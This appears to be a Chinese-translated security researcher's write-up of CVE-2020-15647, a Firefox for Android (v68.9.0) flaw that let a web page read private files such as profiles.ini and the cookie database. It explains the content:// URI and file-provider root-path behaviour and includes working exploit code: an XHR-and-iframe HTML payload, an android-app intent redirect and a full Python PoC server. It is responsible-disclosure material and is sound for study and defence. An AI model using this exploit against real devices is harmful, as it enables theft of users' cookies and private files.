Firefox浏览器漏洞可窃取手机文件CVE-2020–15647

Firefox浏览器漏洞可窃取手机文件CVE-2020–15647

这是CVE-2020–15647的文章,解释了网页如何能够从您的Android设备上窃取文件,包括但不限于来自任何已访问网站的cookie。

起源

在2020年中,我开始检查Android浏览器是否存在多种类型的漏洞。在查看Android版Firefox v68.9.0时,我注意到它在浏览content://URI时显示奇怪的行为。

对于上下文,Android中的Content URI标识内容提供者中的数据;它们可以表示多种形式的信息,例如文件或数据库信息。

大多数浏览器支持 file://content://content://

测试内容://URI

当我测试Firefox对contentURI的使用时,我注意到在渲染URI时地址栏正在更改,从而将我重定向到file://URI。看来Firefox将内容保存到文件中,然后将我重定向到该创建的文件-该文件被保存在内部临时文件夹中/data/data/org.mozilla/firefox/cache/contentUri/

我还注意到,创建的文件_display_name与提供程序返回的显示名称()具有相同的名称,并且Firefox不会更改名称(因此会覆盖该文件)(如果已存在)。

权限

内容提供者的问题是,通常,应用程序需要特定的URI权限才能从其他应用程序和提供者获取内容。这样可以防止应用程序访问其他提供程序中的文件,除非已明确授予它们许可(在点击“打开方式”或“共享方式”并选择一个应用程序访问文件时就是这种情况)。但是,从自己的内容提供者访问URI时,应用程序无需遵循此路线。

Firefox的文件内容提供者的权限为org.mozilla.firefox.fileprovider,并且具有以下配置:

<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <root-path name="root" path="."/>
</paths>

由于使用了根路径配置,因此这是一个问题。只要可以访问,我几乎可以在Firefox中打开任何文件。

Firefox访问私人文件的内容

现在我们知道可以打开任何文件了,让我们尝试将文件内容公开到外部。

利用SOP的 file://

Firefox处理跨域请求的方式file://已被充分证明。就此漏洞利用而言,您唯一需要知道的是文件可以访问其自身的内容(例如,通过new XMLHttpRequest().open("GET", window.location, true)),因为其来源是相同的。

现在,如果文件可以请求自己的内容,并且可以替换这些内容,那么我也许可以使用相同的名称将文件的内容欺骗为另一个文件,对吗?

我从简单的测试开始-我需要通过从外部目录打开文件来检索私有文件的内容。在这种情况下,我选择了/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini; 该文件包含有关cookie数据库在设备中存储位置的信息。

要检索此文件,我需要创建一个同名文件,并将其保存在中/sdcard/Download/profiles.ini。像在第一段中一样,我将使用XMLHttpRequest来检索window.location

/sdcard/Download/profiles.inihttps://medium.com/media/e2eadc6fa0566bb20bcfad325cd77acd

要加载此脚本,我们还将在同一文件中创建一个iframe,该iframe会加载一个content://指向我们实际尝试读取的文件的URI;通过使用content://URI打开,我们将利用Firefox将文件复制到另一个位置并通过进行访问file://

/sdcard/Download/profiles.ini
<script>
    function start() {
        setTimeout(function() {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.onreadystatechange = function() {
                if (this.readyState == 4) {
                    alert(xmlHttp.responseText);
                }
            };
            xmlHttp.open("GET", window.location, true);
            xmlHttp.send();
        }, 1500);
    }
</script>
显示/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini的内容

总结一下,通过打开我们创建的文件:

  1. Firefox打开content://org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini,它是文件的内容URI表示形式/sdcard/Download/profiles.ini
  2. Firefox提取其提供商提供的内容并将其保存在 /data/data/org.mozilla.firefox/cache/contentUri/profiles.ini
  3. Firefox在步骤2中将用户重定向到文件,并以file://URI作为前缀
  4. 呈现后的HTML页面content://在其src字段中具有iframe请求URI,该URI与当前打开的文件具有相同的名称(尽管位置不同),content://org.mozilla.firefox.fileprovider/root/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini
  5. Firefox将步骤3中打开的文件内容替换为步骤4中的文件内容
  6. 短暂的延迟后,页面将警告其自己的内容(现在已在步骤4中将其更改为另一个文件的内容)

现在,我们遇到了跨域问题,因为如果文件共享相同的名称,则file://URI可以访问另一个file://URI的内容。此外,由于我们使用的是Firefox的提供程序;该提供商的root-path配置意味着我们可以利用它来访问设备上的任何文件。

升级到远程

下一个问题是检查是否有可能使用android-appIntent URI将此漏洞转换为可远程执行的概念证明。

深度链接功能通常使用意图URI。您可以在这里这里阅读有关它们的更多信息。

我将设置一个Python服务器来分配此下一个漏洞。我们需要的第一件事是使用我们需要窃取的同名文件。在这种情况下,我们的远程网页应该能够触发profiles.ini我们创建的文件的下载。

self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("content-disposition", "attachment; filename=profiles.ini")
self.end_headers()

下载文件后,我们需要将其打开。我们将使用深层链接内容URI继续使用Firefox将下载的文件移动到其内部目录:

<script>
    setTimeout(function () {
        window.location.href = 'android-app://org.mozilla.firefox/content/org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini#Intent;type=text/html;end';
    }, 1500);
</script>

这应该和以前一样;它将要求Firefox(URI的org.mozilla.firefox一部分android-appcontent://org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini使用action打开内容URI android.intent.action.VIEW,将内容下载到URI/data/data/org.mozilla.firefox/cache/contentUri/profiles.ini并使用file://URI打开。

远程访问profiles.ini的内容

它有效/敏感文件的内容已输出。您可以在此处查看完整的代码。

CVE-2020-15647 PoC

from http.server import HTTPServer, BaseHTTPRequestHandler


class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def get_file_html(self):
        return """
        <!DOCTYPE html>
        <html>
        <script>
            function start() {
                setTimeout(function() {
                    var xmlHttp = new XMLHttpRequest();
                    xmlHttp.onreadystatechange = function() {
                        if (this.readyState == 4) {
                            alert(xmlHttp.responseText);
                        }
                    };
                    xmlHttp.open("GET", window.location, true);
                    xmlHttp.send();
                }, 1500);
            }
        </script>
        
        <iframe id="my_iframe" src="content://org.mozilla.firefox.fileprovider/root/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini" onload="start()"></iframe>
        </html>
        """

    def do_GET(self):
        if "/file" in self.path:

            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("content-disposition", "attachment; filename=profiles.ini")
            self.end_headers()

            self.wfile.write(self.get_file_html().encode())

        else:
            self.send_response(200)
            self.end_headers()
            body = b"""
            <html>
            <script>
                setTimeout(function () {
                    window.location.href = 'android-app://org.mozilla.firefox/content/org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini#Intent;type=text/html;end';
                }, 1500);
            </script>
            
            <iframe src="file"></iframe>
            </html>
            """

            self.wfile.write(body)


httpd = HTTPServer(('localhost', 8080), SimpleHTTPRequestHandler)
httpd.serve_forever()

结论和最后的想法

如图所示,仅通过让受害者访问网页就可以从设备窃取文件。在实际的攻击情形中,恶意文件会将读取的内容发送到攻击者控制的服务器,而不是以警报方式输出内容。

当我提交该漏洞时,我提出的概念证明强调了窃取Firefox cookie数据库的能力,该cookie数据库是一个sqlite数据库,其中包含来自访问域的所有cookie。

以下是PoC的示例:

远程访问cookies.sql的内容

下图显示了漏洞利用的工作方式

完整PoC图,将用户的cookie发送到恶意服务器

在撰写本文时,Firefox Fennec(v68.9.0)已接近“生命周期尽头”,并且将被不脆弱的Fenix取代。即便如此,Firefox仍将其视为一个关键问题,并在很短的时间内修复了该漏洞,并将版本推至(v68.10.1)。这只是表明这些人认真对待其平台中的安全问题。他们也非常专业并且易于沟通。

这篇文章是我在2020年在Android浏览器上发现的一系列文章的一部分。请继续关注其他浏览器(例如Brave和Samsung Browser)上的后续文章!

时间线

2020–06–20 —向Mozilla报告问题
2020–06–22 —开始内部调查
2020–06–25 —确认并解决了该问题(👏🏼)
2020–07–06-固定版本在Play商店(v68.10.1)上发布
2020-07-07-奖励给我赏金($ 5000)

from